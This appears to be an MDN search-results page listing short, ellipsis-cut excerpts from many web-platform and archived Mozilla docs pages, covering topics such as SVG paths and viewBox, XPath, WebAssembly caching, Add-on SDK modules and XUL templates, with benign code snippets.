WebSVGAttributed
- lineto commands with absolute coordinates --> <path fill="none" stroke="red" d="m 10,10 l 90,90 v 10 h 50" /> <!-- lineto commands with relative coordinates --> <path fill="none" stroke="red" d="m 110,10 l 80,80 v -80 h -40" /> </svg> cubic bézier curve cubic bézier curves are smooth curve definitions using four points: starting point (current point) (po = {xo, yo}) end point (pn = {xn, yn}) start control point (pcs = {xcs, ycs}) (controls curvature near the start of the curve) end control point (pce = {xce, yce}) (controls curvature near the end of the curve) after drawing, the end point (pn) becomes the current point for the next command (po′).
...ey"/> <line x1="90" y1="90" x2="70" y2="90" stroke="lightgrey" /> <circle cx="70" cy="90" r="1.5" /> <!-- curve vertex points --> <circle cx="10" cy="90" r="1.5"/> <circle cx="50" cy="10" r="1.5"/> <circle cx="90" cy="90" r="1.5"/> </g> <use xlink:href="#controlpoints" x="100" /> </svg> quadratic bézier curve quadratic bézier curves are smooth curve definitions using three points: starting point (current point) po = {xo, yo} end point pn = {xn, yn} control point pc = {xc, yc} (controls curvature) after drawing, the end point (pn) becomes the current point for the next command (po′).
... note: the appearance of a shape closed with closepath may be different to that of one closed by drawing a line to the origin, using one of the other commands, because the line ends are joined together (according to the stroke-linejoin setting), rather than just being placed at the same coordinates.
gradientUnits - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> lineargradient for <lineargradient>, gradientunits defines the coordinate system used for the attributes x1, y1, x2, and y2.
... objectboundingbox this value indicates that the user coordinate system for the attributes is established using the bounding box of the element to which the gradient is applied and then applying the transform specified by attribute gradienttransform.
... objectboundingbox for <radialgradient>: the user coordinate system for attributes cx, cy, r, fx, fy, and fr is established using the bounding box of the element to which the gradient is applied (see object bounding box units) and then applying the transform specified by attribute gradienttransform.
viewBox - SVG: Scalable Vector Graphics
WebSVGAttributeviewBox
html,body,svg { height:100% } svg:not(:root) { display: inline-block; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a large viewbox the circle looks small as it is using user units for the r attribute: 4 resolved against 100 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox` --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a s...
...mall viewbox the circle looks large as it is using user units for the r attribute: 4 resolved against 10 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- the point of coordinate 0,0 is now in the center of the viewport, and 100% is still resolve to a width or height of 10 user units so the rectangle looks shifted to the bottom/right corner of the viewport --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with the point of coordinate 0,0 in the center of the viewport the value 50% is resolve to 5 which means the center of the circle is in the bottom/right corner of the viewport.
... five elements are using this attribute: <marker>, <pattern>, <svg>, <symbol>, and <view>.
Namespaces crash course - SVG: Scalable Vector Graphics
user agents that cheat and identify xml content using its doctype declaration cause harm.
...so, to create an svg rect element using document.createelementns(), you must write: document.createelementns('http://www.w3.org/2000/svg', 'rect'); but to retrieve the value of the xparameter on an svg rect element, you must write: rect.getattributens(null, 'x'); note that this isn't the case for parameters with a namespace prefix (parameters that don't belong to the same xml dialect as the element).
...for example: elt.setattributens('http://www.w3.org/1999/xlink', 'xlink:href', 'otherdoc.svg'); as a final example, here's a demonstration of how you should dynamically create an <image> element using script: var svg_ns = 'http://www.w3.org/2000/svg'; var xlink_ns = 'http://www.w3.org/1999/xlink'; var image = document.createelementns(svg_ns, 'image'); image.setattributens(null, 'width', '100'); image.setattributens(null, 'height', '100'); image.setattributens(xlink_ns, 'xlink:href', 'flower.png'); conclusion make sure you always declare the namespaces you use in your xml files.
Fills and Strokes - SVG: Scalable Vector Graphics
« previousnext » there are several ways to color shapes (including specifying attributes on the object) using inline css, an embedded css section, or an external css file.
...using fill sets the color inside the object and stroke sets the color of the line drawn around the object.
... using css in addition to setting attributes on objects, you can also use css to style fills and strokes.
Same-origin policy - Web security
note: when using document.domain to allow a subdomain to access its parent securely, you need to set document.domain to the same value in both the parent domain and the subdomain.
...when you set a cookie, you can limit its availability using the domain, path, secure, and httponly flags.
...even if you use only secure https connections, any cookie you see may have been set using an insecure connection.
XPath snippets - XPath
if you are using xmlhttprequest to read a local or remote xml file into a dom tree (as described in parsing and serializing xml), the first argument to evaluatexpath() should be req.responsexml.
...although walking the dom tree can achieve similar results, using xpath expressions is much quicker and more powerful.
...ame+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']["+pos+']'+'/'+xpath; el = el.parentnode; } xpath = '/*'+"[name()='"+xml.documentelement.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']"+'/'+xpath; xpath = xpath.replace(/\/$/, ''); return xpath; } resources xpath forum discussion on this topic see also introduction to using xpath in javascript ...
XPath
xpath is mainly used in xslt, but can also be used as a much more powerful way of navigating through the dom of any xml-like language document using xpathexpression, such as html and svg, instead of relying on the document.getelementbyid() or parentnode.queryselectorall() methods, the node.childnodes properties, and other dom core features.
... documentation introduction to using xpath in javascript describes a non-xslt use of xpath.
... jxon jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
figure 1 : instantiating an xsltprocessor var xsltprocessor = new xsltprocessor(); // load the xsl file using synchronous (third param is set to false) xmlhttprequest var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example.xsl", false); myxmlhttprequest.send(null); var xslref = myxmlhttprequest.responsexml; // finally import the .xsl xsltprocessor.importstylesheet(xslref); for the actual transformation, xsltprocessor requires an xml document, which is used in co...
...assuming that the dom to be processed is contained by an element with the id example, that dom can be "cloned" using the in-memory xml document's document.importnode() method.
...the cloned dom can then be easily inserted into the xml document using node.appendchild(), as shown in figure 2.
Caching compiled WebAssembly modules - WebAssembly
any subsequent call to instantiatecachedurl() will then clear out the entire cache, allowing you to avoid using out-of-date modules.
... function storeindatabase(db, module) { var store = db.transaction([storename], 'readwrite').objectstore(storename); var request = store.put(module, url); request.onerror = err => { console.log(`failed to store in wasm cache: ${err}`) }; request.onsuccess = err => { console.log(`successfully stored ${url} in wasm cache`) }; } using our helper functions with all the promise-based helper functions defined, we can now express the core logic of an indexeddb cache lookup.
... errmsg => { console.log(errmsg); return webassembly.instantiatestreaming(fetch(url)).then(results => { return results.instance }); }); } caching a wasm module with the above library function defined, getting a wasm module instance and using its exported features (while handling caching in the background) is as simple as calling it with the following parameters: a cache version, which — as we explained above — you need to update when any wasm module is updated or moved to a different url.
Converting WebAssembly text format to wasm - WebAssembly
the web app in which we are using our webassembly module).
... note: you can also convert the assembly back into the text representation using the wasm2wat tool; for example wasm2wat simple.wasm -o text.wat.
...however, you can view it using the wat2wasm tool’s -v option.
Compiling an Existing C Module to WebAssembly - WebAssembly
to compile this program, you need to tell the compiler where it can find libwebp's header files using the -i flag and also pass it all the c files of libwebp that it needs.
...after exposing the function to javascript using cwrap, you can use that number to find the start of our buffer and copy the image data: const api = { version: module.cwrap('version', 'number', []), create_buffer: module.cwrap('create_buffer', 'number', ['number', 'number']), destroy_buffer: module.cwrap('destroy_buffer', '', ['number']), }; const image = await loadimage('./image.jpg'); const p = api.create_buffer(image.width, image.hei...
...it also allocates an output buffer for us that we need to free using webpfree() once we are done with the webp image.
WebAssembly
webassembly is designed to complement and run alongside javascript — using the webassembly javascript apis, you can load webassembly modules into a javascript app and share functionality between the two.
... compiling a new c/c++ module to webassembly when you’ve written code in c/c++, you can then compile it into .wasm using a tool like emscripten.
... using the webassembly javascript api once you've loaded a .wasm module, you'll want to use it.
SDK API Lifecycle - Archive of obsolete content
developers using the sdk's apis need to know how far they can trust that a given api will not change in future releases.
...don’t start using it, and plan to migrate away from this module to its replacement.
Two Types of Scripts - Archive of obsolete content
minimally you'll have a single module implemented by a script called "main.js", but you can include additional modules in lib, and import them using the require() function.
...content scripts are injected into web pages using apis defined by some of the sdk's modules such as page-mod and panel.
Working with Events - Archive of obsolete content
additionally, if you're using content scripts to interact with web content, you can define your own events and use them to communicate between the main add-on code and the content scripts.
... the listener must have been previously been added using one of the methods described above.
addon-page - Archive of obsolete content
usage with the add-on sdk you can present information to the user, such as a guide to using your add-on, in a browser tab.
... to use the module import it using require().
base64 - Archive of obsolete content
data encoding and decoding using base64 algorithms.
...in order to encode and decode unicode strings, the charset parameter needs to be set: var base64 = require("sdk/base64"); var encodeddata = base64.encode(unicodestring, "utf-8"); returns string : the encoded string decode(data, charset) decodes a string of data which has been encoded using base-64 encoding.
private-browsing - Archive of obsolete content
opting into private browsing add-ons built using the sdk must opt into private browsing by setting the following key in their package.json file: "permissions": {"private-browsing": true} if an add-on has not opted in, then the high-level sdk modules will not expose private windows, or objects (such as tabs) that are associated with private windows: the windows module will not list any private browser windows, generate any events for pri...
...vate browser windows, or let the add-on open any private browser windows the tabs module will not list any tabs that belong to private browser windows, and the add-on won't receive any events for such tabs any ui components will not be displayed in private browser windows any menus or menu items created using the context-menu will not be shown in context menus that belong to private browser windows the page-mod module will not attach content scripts to documents belonging to private browser windows any panel objects will not be shown if the active window is a private browser window the selection module will not include any selections made in private browser windows add-ons that have opted in will see private windows, so they will need to use the private-b...
request - Archive of obsolete content
you can use this to treat the content as a different mime type, or to force text to be interpreted using a specific character.
... response the response object contains the response to a network request issued using a request object.
tabs - Archive of obsolete content
you can't attach style sheets to a tab using tab.attach(), but from firefox 34 onwards you can attach and detach them using the low-level stylesheet/style and content/mod apis.
...this means that if the user loads a page, loads a new page, then moves back to the previous page using the "back" button, the pageshow event is emitted when the user moves back to the previous page, while the load and ready events are not.
chrome - Archive of obsolete content
you should avoid using the api if at all possible.
... you can see an example of using this api in the xul migration guide.
content/worker - Archive of obsolete content
it exports the worker trait, which enables content scripts and the add-on code to exchange messages using the port or postmessage apis.
... properties port object that allows you to: send customized messages to the worker using the port.emit function receive events from the worker using the port.on function url the url of the content.
core/heritage - Archive of obsolete content
constructors created using class function don't require new keyword (even though it can be used) for instantiation.
...as mentioned before you could pass constructors that were not created using class function as long as they have proper prototype setup.
core/promise - Archive of obsolete content
you can chain them using either inside or outside handlers.
...ven time ms -- kind of promise based alternative to settimeout: function delay(ms, value) { let { promise, resolve } = defer(); settimeout(resolve, ms, value); return promise; } delay(10, 'hello world').then(console.log); // after 10ms => 'helo world' advanced usage if general defer and promised should be enough to doing almost anything you may think of with promises, but once you start using promises extensively you may discover some missing pieces and this section of documentation may help you to discover them.
event/core - Archive of obsolete content
an event listener may be registered to any event target using the on function: var { on, once, off, emit } = require('sdk/event/core'); var target = { name: 'target' }; on(target, 'message', function listener(event) { console.log('hello ' + event); }); on(target, 'data', console.log); an event of a specific type may be emitted on any event target object using the emit function.
... emit(target, 'message', 'event'); // info: 'hello event' emit(target, 'data', { type: 'data' }, 'second arg'); // info: [object object] 'second arg' registered event listeners may be removed using off function: off(target, 'message'); emit(target, 'message', 'bye'); // info: 'hello bye' sometimes listener only cares about first event of specific type.
io/byte-streams - Archive of obsolete content
you can also create bytereader objects using io/file's open() function.
... you can also create bytewriter objects using io/file's open() function.
io/file - Archive of obsolete content
this means that on windows paths are specified using the backslash path separator (\), and on unix-like systems like linux and os x paths are specified using the forward slash path separator (/).
... to ensure your add-on works for everyone, generate paths using the join function.
stylesheet/style - Archive of obsolete content
experimental modify styles using stylesheet files or css rules.
... the style created can be applied to a content by calling attach, and removed using detach.
system/child_process - Archive of obsolete content
however, there are a few differences to be aware of: you need to require() the module using require("sdk/system/child_process") fork() is not supported gid and uid are not supported in node.js, spawn() and exec() inherit the environment variables from the parent process, by default.
... const { emit } = require('sdk/event/core'); const { spawn } = require('sdk/system/child_process'); var proc = spawn("/bin/cat"); emit(proc.stdin, 'data', "hello from add-on code"); emit(proc.stdin, 'end'); using child_process in non-jpm extensions // import sdk stuff const commonjs_uri = 'resource://gre/modules/commonjs'; const { require } = cu.import(commonjs_uri + '/toolkit/require.js', {}); var child_process = require('sdk/system/child_process'); // use it in the same way as in the example above ...
Storing annotations - Archive of obsolete content
now we are able to create annotations, let's store them using the simple-storage module.
... in this chapter we will cover three topics relating to persistent storage: using simple-storage to persist objects handling exhaustion of the storage quota allocated to you respecting private browsing storing new annotations in this section we are only touching the main.js file.
List Open Tabs - Archive of obsolete content
to access tab content, you need to attach a script to the tab using tab.attach().
... to learn more about running scripts in tabs, see the tutorial on using tab.attach().
Open a Web Page - Archive of obsolete content
to access tab content you need to attach a script to the tab using tab.attach().
... to learn more about running scripts in tabs, see the tutorial on using tab.attach().
Unit Testing - Archive of obsolete content
a simple base64 module in a web page, you can perform base64 encoding and decoding using the btoa() and atob() functions.
... the second function tests the module's error-handling code by passing an empty string into atob() and using assert.throws() to check that the expected exception is raised.
Canvas code snippets - Archive of obsolete content
for general information about using <canvas> see the canvas topic page.
...ge.onload = accept; image.onerror = reject; }).then(accept => { canvas.width = this.width; canvas.height = this.height; ctxt.clearrect(0, 0, this.width, this.height); ctxt.drawimage(this, 0, 0); accept(canvas.todataurl()); }); } usage: loadimagefile('myimage.jpg').then(string64 => { alert(string64); }); if you want to get instead the base64 content of a local file using the file <input> element, you must use the filereader object.
Post data to window - Archive of obsolete content
need more elaborate examples, examples of displaying the response in a new tab, in background tabs, and a link to using xmlhttprequest for post requests.
... preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream.
Progress Listeners - Archive of obsolete content
}, // for definitions of the remaining functions see related documentation onprogresschange: function(awebprogress, arequest, curself, maxself, curtot, maxtot) {}, onstatuschange: function(awebprogress, arequest, astatus, amessage) {}, onsecuritychange: function(awebprogress, arequest, astate) {} } attach the progress listener to a <browser> or a <tabbrowser> element using addprogresslistener, for example for firefox put the following code in a load listener of a main window: gbrowser.addprogresslistener(mylistener); when used with a browser, the second argument is a mask which determines the type of events that will be received.
...using the following code, you will get notified when user navigates to another page (by clicking a link, using the back/forward button, by typing an address in the location bar, etc.) and also when user switches tabs.
Listening to events in Firefox extensions - Archive of obsolete content
simple dom events registering for a dom event is done using with code such as the following: function callback(evt) { // do your processing here.
...there are code snippets available that give more detail on using web progress listeners.
Migrating raw components to add-ons - Archive of obsolete content
simple migration if your goal is just to get your raw component working properly as an extension, you can do this in three steps: create a new add-on using the instructions here.
...if this is the only reason you are using a binary component instead of javascript, take a look at the new javascript c-types support introduced in firefox 3.6.
Adding menus and submenus - Archive of obsolete content
you should avoid having deep menus or too many options, since they are confusing for most users.
... menu types checkbox menu items you can make a menuitem "checkable" to allow the user to enable/disable options using the menu.
XUL School Tutorial - Archive of obsolete content
xul school is a comprehensive add-on development tutorial, focusing on firefox extension development.
...y intercepting page loads connecting to remote content handling preferences local storage advanced topics the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla community sites appendices appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix e: dom building and html insertion appendix f: monitoring dom changes the xul school project was developed by appcoast (formerly glaxstar).
Promises - Archive of obsolete content
notifyuser(resp.target.responsetext); }); example using promise-based helper the following example relies on the helper function defined below.
... yield db.executetransaction(function* () { for (let node of nodes) // insert the node's data, using an automatically-cached, // pre-compiled statement, and parameter placeholders.
Updating addons broken by private browsing changes - Archive of obsolete content
idls nsitransferable: see using the clipboard for information about the new init method.
...any new private browsing session should be opened using openbrowserwindow, and any queries for private browsing status should use privatebrowsingutils.iswindowprivate(win) on a relevant window object.
Adding preferences to an extension - Archive of obsolete content
please note that if you are using code from this tutorial to add to an existing extension, you must uninstall and reinstall your extension to enable the preferences button for your extension in the add-ons list.
... the javascript code in order to monitor changes to our preferences, we need to install an observer using the nsiprefbranch2 interface.
List of Former Mozilla-Based Applications - Archive of obsolete content
to webkit in version 3.0.2 moblin browser browser when moblin became meego it switched from a custom gecko-based browser to chrome nautilus file manager hasn't used mozilla code since version 2.0 raptr client gaming client was a xulrunner app initially but now uses adobe air rift technologies software installation over internet no longer using mozilla technology -- need confirmation and details second life virtual world desktop client switched from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name description additional information aphrodite browser inactive aol client for mac internet software ...
...o domain parking service ghostzilla browser archived version of ghostzilla site from 2005 homebase desktop operating environment for internet computers no longer available hp printer assistant printer utility hall of fame page mentions that this used an embedded version of mozilla at some point but i can't find reference to current status (may still be using mozilla code?) icebrowser java browser sdk uses mozilla rhino --eol'ed in 2009 (jin'sync) office app launcher download page last updated on 12/21/06 kylix compiler and integrated development environment borland discontinued this product.
Defining Cross-Browser Tooltips - Archive of obsolete content
authors are used to using the alt attribute to create "tooltips" in web browsers.
...authors who are faced with the prospect of editing a large collection of legacy documents should be able to convert their documents using a batch find-and-replace operation, for example substituting alt= for title=.
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
examples given for "product x.y" were using netscape 6 but other possible mozilla based browsers exist as well; all gecko-based browsers are encouraged to write these keys, so that plugin vendors can write plugin installers that install correctly to all gecko-based browsers.
...examples given for "product x.y" were using netscape 6, but other possible mozilla based browsers exist as well; all gecko-based browsers are encouraged to write these keys, so that plugin vendors can write a plugin installer that is able to find the information it needs across all gecko-based browsers.
Source Navigator - Archive of obsolete content
you can also build your projects, either with your own makefile, or by using source-navigator's build system to automatically generate a makefile.
... using source navigator (more later) opening a project open a terminal.
Protecting Mozilla's registry.dat file - Archive of obsolete content
in order to prevent this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon script.
... moreover, it's advisable to "protect" the mozilla registry using attrib +r +s in case the logon script is finished before ie's "personnalized settings" have completed their dirty deed...
Bookmark Keywords - Archive of obsolete content
you can also file the bookmark into a folder by using the "file bookmark..." menu option.
...even better, you can file them for future use by right-clicking (or holding down the control key and clicking on the link) and filing the bookmarks using the "file bookmark..." option in the contextual menu that pops up.
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
again note that the resulting dll filename must start with "np", so either call your project like this or rename the file later delete the .cpp and .h and readme files from the project and disk (if you did not create an empty project) copy the npruntime sample plugin source code into the dir of the new vs project and add the files to the project using the vs gui (.cpp files to "source files", .h files to "header files", .rc file to "resource files").
... add the following preprocessor definitions to project properties|(all configurations)|c++|preprocessor|preprocessor definitions: win32;_windows;xp_win32;xp_win;_x86_;npsimple_exports disable precompiled headers using project properties|(all configurations)|c++|precompiled headers|create/use precompiled header.
Dehydra Function Reference - Archive of obsolete content
require() example require({strict:true, gczeal:2}) if (require().werror) print("werror is set") warning([code,] msg [, loc]) print a warning message using the gcc warning mechanism.
... error(msg [, loc]) print an error message using the gcc error mechanism.
Installing Dehydra - Archive of obsolete content
you can skip the next section "building gcc 4.5" if you are using gcc 4.6 or above.
...to run dehydra manually using g++, add the -fplugin and -fplugin-arg-gcc_dehydra-script/-fplugin-arg-gcc_treehydra-script flags to specify the location of the plugin and the location of the analysis script: g++ -quiet -fplugin=$home/dehydra/gcc_dehydra.so -fplugin-arg-gcc_dehydra-script=$dehydra_script \ -fshort-wchar $cppfile -s -o /dev/null for example, in the tests directory created by the installation procedure, i can ...
Drag and Drop Example - Archive of obsolete content
the board will be created using a stack element.
...the problem with using text is that if the text from an external drag just happens to be set to button, a button will be created on the board.
Editor Embedding Guide - Archive of obsolete content
get the nsicommandmanager from the nsiwebbrowser using do_getinterface: nscomptr<nsicommandmanager> commandmanager; nsiwebbrowser->do_getinterface(getter_addrefs(commandmgr)); 2.
... first getnext (returns the next name in the name/value pair list) hasmoreelements getvaluetype (numeric enum type see nsicommandparams for values) if the name/value pair is known or it was obtained using the methods described above, it is possible to call the following methods: getbooleanvalue getlongvalue getdoublevalue getstringvalue getcstringvalue getisupportsvalue all of these take pointers to values except for getstringvalue which demands a reference to an nsastring.
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
if it does, we instantiate that component using its contractid (via createinstance) and call trycontentlistener on it.
... if we find no content listener willing to handle the data, we look for a content handler (using createinstance on ns_content_handler_contractid_prefix + acontenttype and expecting back an nsicontenthandler).
Repackaging Firefox - Archive of obsolete content
using an extension makes it far easier to keep track of your changes easily when the time comes to upgrade to new versions of firefox, and also ensures, when set-up correctly, that users are able to safely receive firefox updates from mozilla.
...if you find a preference you think is generally useful to most partner repacks, please add it below, using the same style: localizable preferences browser.startup.homepage=<string> browser.startup.homepage_reset=<string> url for the default homepage, and what the homepage gets reset to when the user hits "restore to default" in the preferences.
GRE - Archive of obsolete content
finding and using a gre from application code avoid linking directly against xpcom.dll if an application wishes to use the gre, it must take careful steps to ensure that it links against the proper libraries.
... dynamically link to that gre using the xpcomgluestartup() function.
Mac OS X Build Prerequisites/fink - Archive of obsolete content
libidl, glib using fink.
...$ sudo apt-get update $ sudo apt-get install orbit orbit-dev glib autoconf-2.13 using fink.
Measuring add-on startup performance - Archive of obsolete content
using about:startup the about startup add-on provides a much simpler way to measure startup performance.
...the overhead can be calculated using the same formula.
Monitoring downloads - Archive of obsolete content
try to avoid using it.this interface is deprecated as of firefox 26.
... this article demonstrates how to monitor downloads in firefox 3, using the download manager.
Mozilla Application Framework - Archive of obsolete content
framework xul a comprehensive, cross-platform ui toolkit with an easy-to-learn xml language for defining ui structure, a schema for localization, and support for both native and cross-platform (using css) look and feel to make writing uis quick and painless.
... you can build simple but powerful mozilla-based applications using just javascript and xul.
How to Write and Land Nanojit Patches - Archive of obsolete content
try to avoid using it.
...if you ever want to "undo" revisions you copied from nanojit-central, you can backout copied revisions using the existing mercurial "backout" command in your target repository.
New Security Model for Web Services - Archive of obsolete content
using a soap header for verification soap messages have a distinct processing model allowing a header to be added that the recipient is required to understand and accept, which identifies the untrusted source of a script making a request.
... using a declarations file a more robust solution is to rely on getting a file named "web-scripts-access.xml" in the root directory of the server that the sandboxed script requests to communicate with.
Overview of how downloads work - Archive of obsolete content
downloads via the helper app service this diagram is an uml sequence diagram, and was created using dia.
... get the .dia file here: mozilla_downloads.dia downloads via "save link target as" and friends this diagram is an uml sequence diagram, and was created using dia.
Configuration - Archive of obsolete content
remember that other people can create different webapps using the same uri and this webapp is only your particular instance or mashup.
...once the webapp is installed, it can be launched using -webapp [webapp-id] and prism will skip the installation and run the webapp directly.
Remote XUL - Archive of obsolete content
this also means you can't load xul using file:// urls unless you set the preference dom.allow_xul_xbl_for_file to true.
...the remote xul manager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); see using remote xul.
Remotely debugging Firefox for Metro - Archive of obsolete content
this article explains how to use remote debugging to inspect and code running in the new windows 8 ("metro-style") firefox app, using the developer tools in firefox on the desktop.
...if you're using a version of firefox older than 27, you'll need to restart the browser for the setting to take effect.
Frequently Asked Questions - Archive of obsolete content
for example, webpages that embed svg using the <object> or <embed> tags must have a 'type' attribute assigned with the correct svg mime type of "image/svg+xml".
...as of 2004-11-11, builds with native svg support will use the native support to render svg documents that are embeded by reference into an html document using the <embed> tag.
Abc Assembler Tests - Archive of obsolete content
it is possible to write tests using the abc assembler.
... the tests are run using the same runtests.py script that is used for the actionscript tests.
Actionscript Acceptance Tests - Archive of obsolete content
testing versioned bug fixes when testing versioned bug fixes (using avmplus.system.swfversion) there are a couple of requirements: you must use system.swfversion when looking up the swfversion.
... this should only be used when it is not possible to generate the test using the standard test framework.
Running Tamarin performance tests - Archive of obsolete content
really most useful with an index file (or v8 tests), since running with raw time values will skew the results towards longer running tests csv output: "--csv filename" will save run results to a csv file that can be analyzed using excel pivottables.
... $ cd /test/performance $ ./runtests.py note on using an emulator: the emulator does seem to support hardware floating point but gives a buserror when running avmshell -darm_vfp.
The new nsString class implementation (1999) - Archive of obsolete content
these api's will need to be rewritten using nsstrimpl references instead.
...second, they are concerned that programmers be prevented from abusing the string classes in a number of ways.
Treehydra Manual - Archive of obsolete content
(this allows a simple version of interprocedural analysis.) at this point, gcc is using a different internal structure, so treehydra uses a different callback, process_cgraph.
...for now, here is an explanation of some of the terminology that is often confusing: concrete value.
Venkman - Archive of obsolete content
documentation venkman introduction an overview and some practical examples of using the javascript debugger in web development.
... using breakpoints in venkman this article describes breakpoints in javascript and how to use venkman to set and examine breakpoints.
Example Sticky Notes - Archive of obsolete content
you add a binding file using -moz-binding style rule and you address a particular binding by its id: -moz-binding: url(notes.xml#default) this id is local within the binding file (not visible in the target document dom tree).
... unlike virtual property it is called in function context: this.setborder(arg) you also may define any amount of named arguments using <parameter name="argumentname"/> --> <parameter name="arg"/> <body><![cdata[ this.style.border = arg; ]]></body> </method> </implementation> <handlers> <!-- event handlers.
XBL - Archive of obsolete content
most xul widgets are at least partially implemented using xbl.
... you can build your own reusable widgets from existing xul, html, svg, and other primitives using xbl.
Mac stub installer - Archive of obsolete content
build the mac installer (debug or non-debug target) using miw.mcp grab a nightly build, say from <http://ftp.mozilla.org/pub/mozilla/n...taller.sea.bin> drop in the installer binary next to the "mozilla installer" in the "mozilla installer" folder created by unstuffing the opt build.
...to do this, in addition to the above steps to set up the mac installer to debug you will need to do the following: create a file named xpcom.xpi with the shared libraries in the structure described under the [xpcom] section in: <http://lxr.mozilla.org/seamonkey/sou...ackages-mac#33> note that if you are using the debug target of the installer binary all shared libraries are expected to have the name format <libname>debug.shlb now set a break point at xpi_init() in the mac installer code and step into xpistub and eventually the xpinstall engine will load including symbols so you can set a break point in the xpinstall engine itself.
Unix stub installer - Archive of obsolete content
run the installer from the src2 directory by either using the mozilla-installer shell script or the mozilla-installer-bin binary with the appropriate flags.
... debug using "gdb mozilla-installer-bin" and set a breakpoint at xpi_init().
Properties - Archive of obsolete content
note that due to branching (different versions of gecko with different feature sets might be built on the same day), using this property to "detect" the application version may produce false results.
...note, even if triggered using relative urls this will show the full url (after qualification).
A XUL Bestiary - Archive of obsolete content
this using of events to prompt other, more explicit actions is loosely what is meant by an event model.
...the event listener is really a convenience; instead of using it, you could find out when an object fired an event, then go find out what that event was, and then write some event handling code as a response to that event, but the event listener provides an easy mechanism for writing event handlers for specific, common events.
browser.type - Archive of obsolete content
the window for the primary content can be retrieved more conveniently using window.content.
... chrome (default behaviour): a browser, intended to be used for loading privileged content using a chrome:// uri.
treecol.type - Archive of obsolete content
if you are using type="checkbox", then the tree and each treecol must be editable.
...here is an example css style using the current theme's checkboxes: treechildren::-moz-tree-checkbox { /* unchecked checkbox treecells.
Moving, Copying and Deleting Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...for this reason, you may wish to check if the file exists using nsifile.exists() before moving the file.
International characters in XUL JavaScript - Archive of obsolete content
otherwise, the character encoding will be the same as the one used by the xul file (which can be specified using an encoding attribute in the <?xml?> tag).
...however, you can use unicode escapes – the earlier example rewritten using them would be: var text = "ein sch\u00f6nes beispiel eines mehrsprachigen textes: \u65e5\u672c\u8a9e"; an alternative might be to use property files via nsistringbundle or the xul <stringbundle> element; this would allow for localization of the xul.
Namespaces - Archive of obsolete content
although there's nothing preventing someone else from using the namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally.
...that's why we can write the shorthand <textbox/> instead of <xul:textbox/> in xul (although the latter is just as correct when not using http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul as the default namespace) -- the xul namespace is defined as the default on the topmost element.
Floating Panels - Archive of obsolete content
a floating panel can be created using the panel element with at least two additional attributes as in the following example: <panel id="tools-panel" noautohide="true" titlebar="normal"> <label control="name" value="name:"/> <textbox id="name"/> </panel> the noautohide attribute is used to indicate that the panel is not temporary.
...a label for the titlebar may be set using the label attribute, as in the following example: <panel id="info-panel" noautohide="true" titlebar="normal" label="image properties"> closing a floating panel unlike other panels, a floating panel does not close when clicking outside of it.
MoveResize - Archive of obsolete content
moving a popup once a popup is open, it can be moved using the popup's moveto method.
... a popup can be resized manually using the popup's sizeto method.
PopupEvents - Archive of obsolete content
when using nested submenus, make sure to check in the popupshowing event that the event corresponds to the right popup.
...within this function, a popupshown event listener is attached to the 'file' menu using the addeventlistener method.
PopupKeys - Archive of obsolete content
handling keys within menus when using a menupopup element, a keyboard listener is attached to the window that will handle keypresses for the menu.
...for example, focusing a textbox and opening the textbox's context menu keeps the focus within the textbox.
statusbarpanel-iconic-text - Archive of obsolete content
specify the image using the src attribute.
... specify the text using the label attribute.
Actions - Archive of obsolete content
« previousnext » the content to generate in a template is specified using the <xul:action> element which should either be the next sibling of the <xul:query> element (if no rules need be specified) or be a direct child of a <xul:rule> element.
...so far we have only been using the ?relateditem variable since that is really the only useful variable that is available.
Containment Properties - Archive of obsolete content
it doesn't have any containers, but we may want to iterate over the relateditem predicate using the simple query syntax.
...the containment attribute also applies to member tests when using the extended template syntax.
Filtering - Archive of obsolete content
next, we'll look at also generating this list using a template.
...an rdf type can be assigned to a node by using the predicate 'http://www.w3.org/1999/02/22-rdf-syntax-ns#type' set to a resource for that type.
RDF Query Syntax - Archive of obsolete content
the builder looks at both the subject and object of the triple and tries to resolve any of the variables using the known data.
...you may find this a bit confusing, but this should become clearer later with more specific and practical examples.
Recursive Generation - Archive of obsolete content
after generating a result's content, the builder starts again using a new parent and starting point.
...for a nested item, the builder processes the query in the same way as usual, however instead of using the ref attribute as the seed starting point, the end point or member is used instead.
